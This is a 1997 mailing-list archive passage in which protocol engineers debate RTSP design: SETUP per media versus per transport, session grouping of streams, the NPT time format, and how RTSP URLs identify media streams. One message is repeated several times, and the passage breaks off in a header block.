> interoperability. THIS I THINK IS IMPORTANT.
> 
> The SETUP should be associated with each media not with each
> transport as is currently envisioned. The number of SETUPs sent
> should be left to the client with the following basic rules,

That is not possible, since SETUPs primary role is to negotiate
transport parameters, so that each independent transport association
needs a separate SETUP. If one or more streams share 

The rule should be simple, regardless of whether multiple streams are in
a single transport or not. Mux and non-mux do not capture the variety of
scenarios that are possible, for example with 3 streams (audio, video,
animation). [The URL and transport header just gives the flavor; it's
known to be non-valid syntax...]

Here's my synopsis of the current thinking; I can't quite tell if this
is the same or different than what Alagu is proposing.

In each case, we assume that we got a session Id from the server via an
empty SETUP:

  SETUP movie

  200 OK
  Session: 123

Naturally, we could also use the first SETUP in each example below to
get the session id.

---------

(2+1) audio and video are together (maybe MPEG or some container
format), animation is separate:

  SETUP movie
  Session: 123
  Streamid: audio, video
  Transport: rtp/udp

  SETUP movie
  Session: 123
  Stremaid: anim
  Transport: tcp

  PLAY movie
  Session: 123
  Streamid: audio, video, anim

  # pauses delivery of the animation and audio
  PAUSE movie
  Session: 123
  Streamid: anim, audio

  # pauses delivery of the video
  PAUSE movie
  Session: 123
  Streamid: video

  # resume delivery of audio, video, animation; we don't need
  # the streamid here since it's the whole session
  PLAY movie
  Session: 123

  # tear down video (don't ask me why the client does this...):
  TEARDOWN movie
  Session: 123
  Streamid: video

  # tear down the remaining streams:
  TEARDOWN movie
  Session: 123

-------

(3) all three are in one transport
  SETUP movie
  Session: 123
  Stream: audio, video, animation

  PLAY and TEARDOWN is as in (2+1).

--------

(1+1+1) each of them is a separate stream

  SETUP movie
  Session: 123
  Stream: audio
  Transport: rtp/udp;port=3400

  SETUP movie
  Session: 123
  Stream: video
  Transport: rtp/udp;port=3456

  SETUP movie
  Session: 123
  Stream: animation
  Transport: tcp;port=10000

  PLAY and TEARDOWN as before

-----

The issue of how a session description format tells the client what to
do is beyond the scope of RTSP (and should be). If a server can't
control separate media within a transport stream (too lazy, say), there
are a number of choices:

- just keep shoveling the data and let the client sort it out
(client-side muting)

- indicate an error and hope that the client is smart enough to stop the
whole stream bundle 

> Whether one SETUP is sent or multiple are sent, they must
> use the same RTSP session if they have to be streamed out
> in a synchronized fashion by the server.

Note that synchronized streaming by the server is neither necessary nor
sufficient for synchronized presentation at the client. 

Henning

From majordom@ISI.EDU  Wed Jul  9 13:55:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08161>; Wed, 9 Jul 1997 02:55:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08155>; Wed, 9 Jul 1997 02:55:52 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21326>; Wed, 9 Jul 1997 02:55:51 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id FAA05337; Wed, 9 Jul 1997 05:55:44 -0400 (EDT)
Message-Id: <33C3601B.F9C@cs.columbia.edu>
Date: Wed, 09 Jul 1997 11:55:39 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>, Anup Rao <anup@netscape.com>
Cc: confctrl@isi.edu
Subject: NPT time modification
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

It has been suggested to modify the NPT definition slightly:

- use a decimal value instead of microseconds for easy parsing with
scanf(%f), easier arithmetic and scalable precision to 18 digits with
double precision float values

- allow hh:mm:ss.fraction notation for easier human editing in addition
to seconds.fraction

The two changes are independent (except that currently : is used a
delimiter). A parser can trivially tell whether hh:mm:ss.fraction or
seconds.fraction is present, without any tagging or value ambiguity.

Opinions?
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Jul  9 03:58:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25517>; Wed, 9 Jul 1997 10:57:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25499>; Wed, 9 Jul 1997 10:57:47 -0700
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA25138>; Wed, 9 Jul 1997 10:57:37 -0700
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id KAA42628
	for <confctrl@isi.edu>; Wed, 9 Jul 1997 10:55:00 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id KAA19816
	for <confctrl@isi.edu>; Wed, 9 Jul 1997 10:58:45 -0700
Date: Wed, 9 Jul 1997 10:58:45 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020904afe915192093@[17.255.20.120]>
In-Reply-To: <33C34081.615F@cs.columbia.edu>
References: <v03020903afe7eb331f29@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: RTSP session model
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 9:40 AM +0200 7/9/97, Henning Schulzrinne wrote:
>>
>> The SETUP should be associated with each media not with each
>> transport as is currently envisioned. The number of SETUPs sent
>> should be left to the client with the following basic rules,
>
>That is not possible, since SETUPs primary role is to negotiate
>transport parameters, so that each independent transport association
>needs a separate SETUP. If one or more streams share
>

This boils down to, do we want SETUP to control a media or
a transport. If we have SETUP control a media, it will
allow addition and subtraction of media easily.

In your 2+1 example, is it possible to SETUP audio and animation
and later add video?

>The rule should be simple, regardless of whether multiple streams are in
>a single transport or not. Mux and non-mux do not capture the variety of
>scenarios that are possible, for example with 3 streams (audio, video,
>animation). [The URL and transport header just gives the flavor; it's
>known to be non-valid syntax...]
>
>Here's my synopsis of the current thinking; I can't quite tell if this
>is the same or different than what Alagu is proposing.
>

My simplification to MUX and NONMUX ignored the case where
you need a combination of both. I thought this would complicate
things leading to interoperability problems.

I am not opposed to a combination of MUX and NONMUX. However,
it is important that the client knows the grouping, i.e.
whether 1+1+1, 2+1 or 3 is used in your example.

This issue may be out of the scope of RTSP, but there must be
some mention in the spec. that the client can not arbitrarily
decide the grouping.

For those working on the SDP format for use with RTSP, I think
SDP should state the grouping being used.

On a separate issue, have we come to an agreement as to whether SDP
should carry any transport info. at all? Does RTSP require or prohibit
the media description format from carrying transport information?

>
>> Whether one SETUP is sent or multiple are sent, they must
>> use the same RTSP session if they have to be streamed out
>> in a synchronized fashion by the server.
>
>Note that synchronized streaming by the server is neither necessary nor
>sufficient for synchronized presentation at the client.
>

I agree with your statement above. That is why I say that,
"they must use the same RTSP session IF they have to be
streamed out in a synchronized fashion by the server."

If the client does not want the server to stream it out
in a synchronized fashion, then each stream might as well
be in a separate RTSP session. (This is the same as my argument
for dropping 1-n-n.)




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Wed Jul  9 08:04:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15002>; Wed, 9 Jul 1997 15:06:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14995>; Wed, 9 Jul 1997 15:06:19 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07072>; Wed, 9 Jul 1997 15:06:13 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA16283
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 9 Jul 1997 15:10:17 -0700
Message-Id: <3.0.32.19970709150427.018383e4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 09 Jul 1997 15:04:28 -0700
To: Alagu Periyannan <alagu@apple.com>, confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Why do we need 1-n-n anymore?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:28 PM 7/8/97 -0700, Alagu Periyannan wrote:
>- 1-n-n can be achieved by multiple 1-1-n sessions in
>which n=1, i.e. you setup only one of the n media in the
>container file. You might argue that this will cause the
>container file to be opened multiple times rather than
>only once. But the same problem exists in 1-n-n also.
>Since there is no state sharing between DESCRIBE and
>SETUP the server will probably need to open the file
>n times. (If the server uses tricks  to open the file just
>once and share it among n session, it can do it
>for 1-1-n just as well as it can 1-n-n.)

Agreed.  Actually, what are the perceived differences between 1-n-n and
multiple 1-1-(n=1) sessions?  I would hope they are identical.

Presumably, the only difference would come on the second SETUP message
(presuming that we don't have a null SETUP message).
   C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
         Accept: application/sdp

   S->C: RTSP/1.0 200 1 OK
         Content-Type: application/sdp

         v=0
         o=- 2890844526 2890842807 IN IP4 192.16.24.202
         s=RTSP Session
         m=audio 0 RTP/AVP 0
         a=streamid:aud
         m=video 0 RTP/AVP 31
         a=streamid:vid
 
   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
         StreamID: aud
         Transport: rtp/udp;port=3056,
                    rtp/tcp
         
   S->C: RTSP/1.0 200 2 OK
         Session: 1234
         StreamID: aud
         Transport: rtp/udp;port=3056

  C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
         Session: 1234
         StreamID: vid
         Transport: rtp/udp;port=3058,
                    rtp/tcp

   S->C: RTSP/1.0 xxx 3 Multi-stream sessions not allowed

(where xxx is a yet-undefined error code).

At this point, the client would then know that it is going to have to
handle 1-n-n streaming.

So, if we want to force implementors to implement 1-1-n streaming when they
stream container files, then we don't need to define "xxx".

If we do define "xxx", the client or server should not treat this as a
fatal error.  It should just merrily go about 1-n-n.

Now, I think the point that Alagu is raising here is that anyone who is
going to deal with container files and is going to do 1-1-n because life is
just easier in the long haul.  Dropping 1-n-n means one less pathological
test case to deal with in clients.  I wholeheartedly agree with this.

Is there anyone out there who envisions *only* supporting 1-n-n *and*
supporting container files with 2 or more streams?  If there is, I would
like to understand the reasoning.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Wed Jul  9 12:46:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26995>; Wed, 9 Jul 1997 19:47:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26989>; Wed, 9 Jul 1997 19:47:04 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20057>; Wed, 9 Jul 1997 19:47:01 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA03324; Wed, 9 Jul 1997 19:46:59 -0700
Date: Wed, 9 Jul 1997 19:46:04 -0700 ()
From: Stephen Casner <casner@precept.com>
To: confctrl@isi.edu
Subject: Format of RTSP URLs
Message-Id: <Pine.WNT.3.95.970709194501.-250823N-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe there is too much emphasis here on container files.  Alagu's
proposal to identify the cases as muxed and non-muxed is a good
notion, though I think some of the details after that are not right.

One case is a pre-multiplexed container file, such as MPEG Systems
Streams format, which will be sent by the server as one multiplexed
data stream.  In this case, THERE IS NO CONTROL OF INDIVIDUAL MEDIA.
The raison d'etre for this case is that the server does not have time
to touch the bits, hence it does not have time to reformulate a new
multiplexed stream with one medium muted, for example.  In this case,
there is only one RTSP URL, one RTSP session, one transport session.

The other case is the non-multiplexed case, where a presentation
consists of multiple transport streams.  (Some transport streams may
contain more than one medium pre-multiplexed, but each transport
stream is the minimum unit of control.)  As Anup already pointed out
much earlier in this discussion, for the purposes of designing how a
presentation will be controlled and delivered by a single server, it
should not matter whether all the media come from one file or from
separate files.

If you accept that premise, then what we need is a way to specify
where the bits for each transport stream will come from.  It seems to
me that an RTSP URL for each stream is the right way to do it.  That
URL may take any of several forms depending upon whether the bits come
from one or more files or some magic database or from an analog input
device.  Brad expressed the following concern in response to Philipp's
message:

    >> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
    >>
    >> Now, my first question is: why is this a query ? Why do you need to use
    >> a questionmark ?

    My point is exactly that the RTSP spec should not answer these
    questions. Instead the RTSP spec should reference the standard
    URI spec, and should not place additional limitations on the
    semantics of sub-syntax of the URI.

    A solution that limits the name space of the URI seems especially
    wrong when we have a perfectly reasonable pathway in the 822 headers.

I agree wholeheartedly that the RTSP spec should not answer these
questions, but I draw the opposite conclusion.  Section 3.2 of the
RTSP spec says that "the path components of the RTSP URL are opaque to
the client and do not imply any particular file system structure for
the server".  The example

    rtsp://media.example.com:554/twister/audiotrack

is given, and similar examples for audio and video tracks are given in
section 14.1.  As in these examples, the RTSP URL should identify a
particular media stream to be transported.  The person who constructs
a presentation with multiple media streams will figure out what the
URLs need to be to specify whence those media streams come and will
also build a presentation description that includes those URLs.

SDP does not yet include a way to specify the source of a media
stream, e.g. using a URL, though Precept and others have made their
own extensions to SDP.  We need to specify how to include these URLs
in the SDP description, and that was my question to this list way back
at the beginning of this discussion.

I don't see this as limiting the name space of the URI; rather, we may
need to extend the name space of the URI if it is only sufficient for
referencing files and not parts of files.  The object identified by an
HTTP URI is generally a file (which might be a script to which
parameters are supplied), whereas the object identified by an RTSP URL
is a media stream.  If the storage mechanism is going to deliver
separate media streams, then the references to it have to be able to
identify separate media streams.  But the RTSP spec doesn't have to
say anything about whether you use '?' or any other character to get
there.  The server is the only entity that needs to be able to
interpret the URL to get the right bits.

It seems wrong to me that if the media are in separate files then you
just give the URLs, but if the media are in one containter file then
you need a URL plus a stream-id.  That is just augmenting the URL with
a separate line.
							-- Steve


From majordom@ISI.EDU  Wed Jul  9 12:46:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26995>; Wed, 9 Jul 1997 19:47:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26989>; Wed, 9 Jul 1997 19:47:04 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20057>; Wed, 9 Jul 1997 19:47:01 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA03324; Wed, 9 Jul 1997 19:46:59 -0700
Date: Wed, 9 Jul 1997 19:46:04 -0700 ()
From: Stephen Casner <casner@precept.com>
To: confctrl@isi.edu
Subject: Format of RTSP URLs
Message-Id: <Pine.WNT.3.95.970709194501.-250823N-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe there is too much emphasis here on container files.  Alagu's
proposal to identify the cases as muxed and non-muxed is a good
notion, though I think some of the details after that are not right.

One case is a pre-multiplexed container file, such as MPEG Systems
Streams format, which will be sent by the server as one multiplexed
data stream.  In this case, THERE IS NO CONTROL OF INDIVIDUAL MEDIA.
The raison d'etre for this case is that the server does not have time
to touch the bits, hence it does not have time to reformulate a new
multiplexed stream with one medium muted, for example.  In this case,
there is only one RTSP URL, one RTSP session, one transport session.

The other case is the non-multiplexed case, where a presentation
consists of multiple transport streams.  (Some transport streams may
contain more than one medium pre-multiplexed, but each transport
stream is the minimum unit of control.)  As Anup already pointed out
much earlier in this discussion, for the purposes of designing how a
presentation will be controlled and delivered by a single server, it
should not matter whether all the media come from one file or from
separate files.

If you accept that premise, then what we need is a way to specify
where the bits for each transport stream will come from.  It seems to
me that an RTSP URL for each stream is the right way to do it.  That
URL may take any of several forms depending upon whether the bits come
from one or more files or some magic database or from an analog input
device.  Brad expressed the following concern in response to Philipp's
message:

    >> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
    >>
    >> Now, my first question is: why is this a query ? Why do you need to use
    >> a questionmark ?

    My point is exactly that the RTSP spec should not answer these
    questions. Instead the RTSP spec should reference the standard
    URI spec, and should not place additional limitations on the
    semantics of sub-syntax of the URI.

    A solution that limits the name space of the URI seems especially
    wrong when we have a perfectly reasonable pathway in the 822 headers.

I agree wholeheartedly that the RTSP spec should not answer these
questions, but I draw the opposite conclusion.  Section 3.2 of the
RTSP spec says that "the path components of the RTSP URL are opaque to
the client and do not imply any particular file system structure for
the server".  The example

    rtsp://media.example.com:554/twister/audiotrack

is given, and similar examples for audio and video tracks are given in
section 14.1.  As in these examples, the RTSP URL should identify a
particular media stream to be transported.  The person who constructs
a presentation with multiple media streams will figure out what the
URLs need to be to specify whence those media streams come and will
also build a presentation description that includes those URLs.

SDP does not yet include a way to specify the source of a media
stream, e.g. using a URL, though Precept and others have made their
own extensions to SDP.  We need to specify how to include these URLs
in the SDP description, and that was my question to this list way back
at the beginning of this discussion.

I don't see this as limiting the name space of the URI; rather, we may
need to extend the name space of the URI if it is only sufficient for
referencing files and not parts of files.  The object identified by an
HTTP URI is generally a file (which might be a script to which
parameters are supplied), whereas the object identified by an RTSP URL
is a media stream.  If the storage mechanism is going to deliver
separate media streams, then the references to it have to be able to
identify separate media streams.  But the RTSP spec doesn't have to
say anything about whether you use '?' or any other character to get
there.  The server is the only entity that needs to be able to
interpret the URL to get the right bits.

It seems wrong to me that if the media are in separate files then you
just give the URLs, but if the media are in one containter file then
you need a URL plus a stream-id.  That is just augmenting the URL with
a separate line.
							-- Steve


From majordom@ISI.EDU  Wed Jul  9 12:46:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26995>; Wed, 9 Jul 1997 19:47:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26989>; Wed, 9 Jul 1997 19:47:04 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20057>; Wed, 9 Jul 1997 19:47:01 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA03324; Wed, 9 Jul 1997 19:46:59 -0700
Date: Wed, 9 Jul 1997 19:46:04 -0700 ()
From: Stephen Casner <casner@precept.com>
To: confctrl@isi.edu
Subject: Format of RTSP URLs
Message-Id: <Pine.WNT.3.95.970709194501.-250823N-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe there is too much emphasis here on container files.  Alagu's
proposal to identify the cases as muxed and non-muxed is a good
notion, though I think some of the details after that are not right.

One case is a pre-multiplexed container file, such as MPEG Systems
Streams format, which will be sent by the server as one multiplexed
data stream.  In this case, THERE IS NO CONTROL OF INDIVIDUAL MEDIA.
The raison d'etre for this case is that the server does not have time
to touch the bits, hence it does not have time to reformulate a new
multiplexed stream with one medium muted, for example.  In this case,
there is only one RTSP URL, one RTSP session, one transport session.

The other case is the non-multiplexed case, where a presentation
consists of multiple transport streams.  (Some transport streams may
contain more than one medium pre-multiplexed, but each transport
stream is the minimum unit of control.)  As Anup already pointed out
much earlier in this discussion, for the purposes of designing how a
presentation will be controlled and delivered by a single server, it
should not matter whether all the media come from one file or from
separate files.

If you accept that premise, then what we need is a way to specify
where the bits for each transport stream will come from.  It seems to
me that an RTSP URL for each stream is the right way to do it.  That
URL may take any of several forms depending upon whether the bits come
from one or more files or some magic database or from an analog input
device.  Brad expressed the following concern in response to Philipp's
message:

    >> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
    >>
    >> Now, my first question is: why is this a query ? Why do you need to use
    >> a questionmark ?

    My point is exactly that the RTSP spec should not answer these
    questions. Instead the RTSP spec should reference the standard
    URI spec, and should not place additional limitations on the
    semantics of sub-syntax of the URI.

    A solution that limits the name space of the URI seems especially
    wrong when we have a perfectly reasonable pathway in the 822 headers.

I agree wholeheartedly that the RTSP spec should not answer these
questions, but I draw the opposite conclusion.  Section 3.2 of the
RTSP spec says that "the path components of the RTSP URL are opaque to
the client and do not imply any particular file system structure for
the server".  The example

    rtsp://media.example.com:554/twister/audiotrack

is given, and similar examples for audio and video tracks are given in
section 14.1.  As in these examples, the RTSP URL should identify a
particular media stream to be transported.  The person who constructs
a presentation with multiple media streams will figure out what the
URLs need to be to specify whence those media streams come and will
also build a presentation description that includes those URLs.

SDP does not yet include a way to specify the source of a media
stream, e.g. using a URL, though Precept and others have made their
own extensions to SDP.  We need to specify how to include these URLs
in the SDP description, and that was my question to this list way back
at the beginning of this discussion.

I don't see this as limiting the name space of the URI; rather, we may
need to extend the name space of the URI if it is only sufficient for
referencing files and not parts of files.  The object identified by an
HTTP URI is generally a file (which might be a script to which
parameters are supplied), whereas the object identified by an RTSP URL
is a media stream.  If the storage mechanism is going to deliver
separate media streams, then the references to it have to be able to
identify separate media streams.  But the RTSP spec doesn't have to
say anything about whether you use '?' or any other character to get
there.  The server is the only entity that needs to be able to
interpret the URL to get the right bits.

It seems wrong to me that if the media are in separate files then you
just give the URLs, but if the media are in one containter file then
you need a URL plus a stream-id.  That is just augmenting the URL with
a separate line.
							-- Steve


From majordom@ISI.EDU  Wed Jul  9 12:46:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26995>; Wed, 9 Jul 1997 19:47:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26989>; Wed, 9 Jul 1997 19:47:04 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20057>; Wed, 9 Jul 1997 19:47:01 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA03324; Wed, 9 Jul 1997 19:46:59 -0700
Date: Wed, 9 Jul 1997 19:46:04 -0700 ()
From: Stephen Casner <casner@precept.com>
To: confctrl@isi.edu
Subject: Format of RTSP URLs
Message-Id: <Pine.WNT.3.95.970709194501.-250823N-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe there is too much emphasis here on container files.  Alagu's
proposal to identify the cases as muxed and non-muxed is a good
notion, though I think some of the details after that are not right.

One case is a pre-multiplexed container file, such as MPEG Systems
Streams format, which will be sent by the server as one multiplexed
data stream.  In this case, THERE IS NO CONTROL OF INDIVIDUAL MEDIA.
The raison d'etre for this case is that the server does not have time
to touch the bits, hence it does not have time to reformulate a new
multiplexed stream with one medium muted, for example.  In this case,
there is only one RTSP URL, one RTSP session, one transport session.

The other case is the non-multiplexed case, where a presentation
consists of multiple transport streams.  (Some transport streams may
contain more than one medium pre-multiplexed, but each transport
stream is the minimum unit of control.)  As Anup already pointed out
much earlier in this discussion, for the purposes of designing how a
presentation will be controlled and delivered by a single server, it
should not matter whether all the media come from one file or from
separate files.

If you accept that premise, then what we need is a way to specify
where the bits for each transport stream will come from.  It seems to
me that an RTSP URL for each stream is the right way to do it.  That
URL may take any of several forms depending upon whether the bits come
from one or more files or some magic database or from an analog input
device.  Brad expressed the following concern in response to Philipp's
message:

    >> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
    >>
    >> Now, my first question is: why is this a query ? Why do you need to use
    >> a questionmark ?

    My point is exactly that the RTSP spec should not answer these
    questions. Instead the RTSP spec should reference the standard
    URI spec, and should not place additional limitations on the
    semantics of sub-syntax of the URI.

    A solution that limits the name space of the URI seems especially
    wrong when we have a perfectly reasonable pathway in the 822 headers.

I agree wholeheartedly that the RTSP spec should not answer these
questions, but I draw the opposite conclusion.  Section 3.2 of the
RTSP spec says that "the path components of the RTSP URL are opaque to
the client and do not imply any particular file system structure for
the server".  The example

    rtsp://media.example.com:554/twister/audiotrack

is given, and similar examples for audio and video tracks are given in
section 14.1.  As in these examples, the RTSP URL should identify a
particular media stream to be transported.  The person who constructs
a presentation with multiple media streams will figure out what the
URLs need to be to specify whence those media streams come and will
also build a presentation description that includes those URLs.

SDP does not yet include a way to specify the source of a media
stream, e.g. using a URL, though Precept and others have made their
own extensions to SDP.  We need to specify how to include these URLs
in the SDP description, and that was my question to this list way back
at the beginning of this discussion.

I don't see this as limiting the name space of the URI; rather, we may
need to extend the name space of the URI if it is only sufficient for
referencing files and not parts of files.  The object identified by an
HTTP URI is generally a file (which might be a script to which
parameters are supplied), whereas the object identified by an RTSP URL
is a media stream.  If the storage mechanism is going to deliver
separate media streams, then the references to it have to be able to
identify separate media streams.  But the RTSP spec doesn't have to
say anything about whether you use '?' or any other character to get
there.  The server is the only entity that needs to be able to
interpret the URL to get the right bits.

It seems wrong to me that if the media are in separate files then you
just give the URLs, but if the media are in one containter file then
you need a URL plus a stream-id.  That is just augmenting the URL with
a separate line.
							-- Steve


From majordom@ISI.EDU  Wed Jul  9 12:46:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26995>; Wed, 9 Jul 1997 19:47:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26989>; Wed, 9 Jul 1997 19:47:04 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20057>; Wed, 9 Jul 1997 19:47:01 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA03324; Wed, 9 Jul 1997 19:46:59 -0700
Date: Wed, 9 Jul 1997 19:46:04 -0700 ()
From: Stephen Casner <casner@precept.com>
To: confctrl@isi.edu
Subject: Format of RTSP URLs
Message-Id: <Pine.WNT.3.95.970709194501.-250823N-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe there is too much emphasis here on container files.  Alagu's
proposal to identify the cases as muxed and non-muxed is a good
notion, though I think some of the details after that are not right.

One case is a pre-multiplexed container file, such as MPEG Systems
Streams format, which will be sent by the server as one multiplexed
data stream.  In this case, THERE IS NO CONTROL OF INDIVIDUAL MEDIA.
The raison d'etre for this case is that the server does not have time
to touch the bits, hence it does not have time to reformulate a new
multiplexed stream with one medium muted, for example.  In this case,
there is only one RTSP URL, one RTSP session, one transport session.

The other case is the non-multiplexed case, where a presentation
consists of multiple transport streams.  (Some transport streams may
contain more than one medium pre-multiplexed, but each transport
stream is the minimum unit of control.)  As Anup already pointed out
much earlier in this discussion, for the purposes of designing how a
presentation will be controlled and delivered by a single server, it
should not matter whether all the media come from one file or from
separate files.

If you accept that premise, then what we need is a way to specify
where the bits for each transport stream will come from.  It seems to
me that an RTSP URL for each stream is the right way to do it.  That
URL may take any of several forms depending upon whether the bits come
from one or more files or some magic database or from an analog input
device.  Brad expressed the following concern in response to Philipp's
message:

    >> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
    >>
    >> Now, my first question is: why is this a query ? Why do you need to use
    >> a questionmark ?

    My point is exactly that the RTSP spec should not answer these
    questions. Instead the RTSP spec should reference the standard
    URI spec, and should not place additional limitations on the
    semantics of sub-syntax of the URI.

    A solution that limits the name space of the URI seems especially
    wrong when we have a perfectly reasonable pathway in the 822 headers.

I agree wholeheartedly that the RTSP spec should not answer these
questions, but I draw the opposite conclusion.  Section 3.2 of the
RTSP spec says that "the path components of the RTSP URL are opaque to
the client and do not imply any particular file system structure for
the server".  The example

    rtsp://media.example.com:554/twister/audiotrack

is given, and similar examples for audio and video tracks are given in
section 14.1.  As in these examples, the RTSP URL should identify a
particular media stream to be transported.  The person who constructs
a presentation with multiple media streams will figure out what the
URLs need to be to specify whence those media streams come and will
also build a presentation description that includes those URLs.

SDP does not yet include a way to specify the source of a media
stream, e.g. using a URL, though Precept and others have made their
own extensions to SDP.  We need to specify how to include these URLs
in the SDP description, and that was my question to this list way back
at the beginning of this discussion.

I don't see this as limiting the name space of the URI; rather, we may
need to extend the name space of the URI if it is only sufficient for
referencing files and not parts of files.  The object identified by an
HTTP URI is generally a file (which might be a script to which
parameters are supplied), whereas the object identified by an RTSP URL
is a media stream.  If the storage mechanism is going to deliver
separate media streams, then the references to it have to be able to
identify separate media streams.  But the RTSP spec doesn't have to
say anything about whether you use '?' or any other character to get
there.  The server is the only entity that needs to be able to
interpret the URL to get the right bits.

It seems wrong to me that if the media are in separate files then you
just give the URLs, but if the media are in one containter file then
you need a URL plus a stream-id.  That is just augmenting the URL with
a separate line.
							-- Steve


From majordom@ISI.EDU  Thu Jul 10 13:33:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05096>; Thu, 10 Jul 1997 02:33:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05090>; Thu, 10 Jul 1997 02:33:47 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA28472>; Thu, 10 Jul 1997 02:33:43 -0700
Received: by www45.inria.fr (8.8.5/8.8.5) id LAA11056; Thu, 10 Jul 1997 11:33:34 +0200 (MET DST)
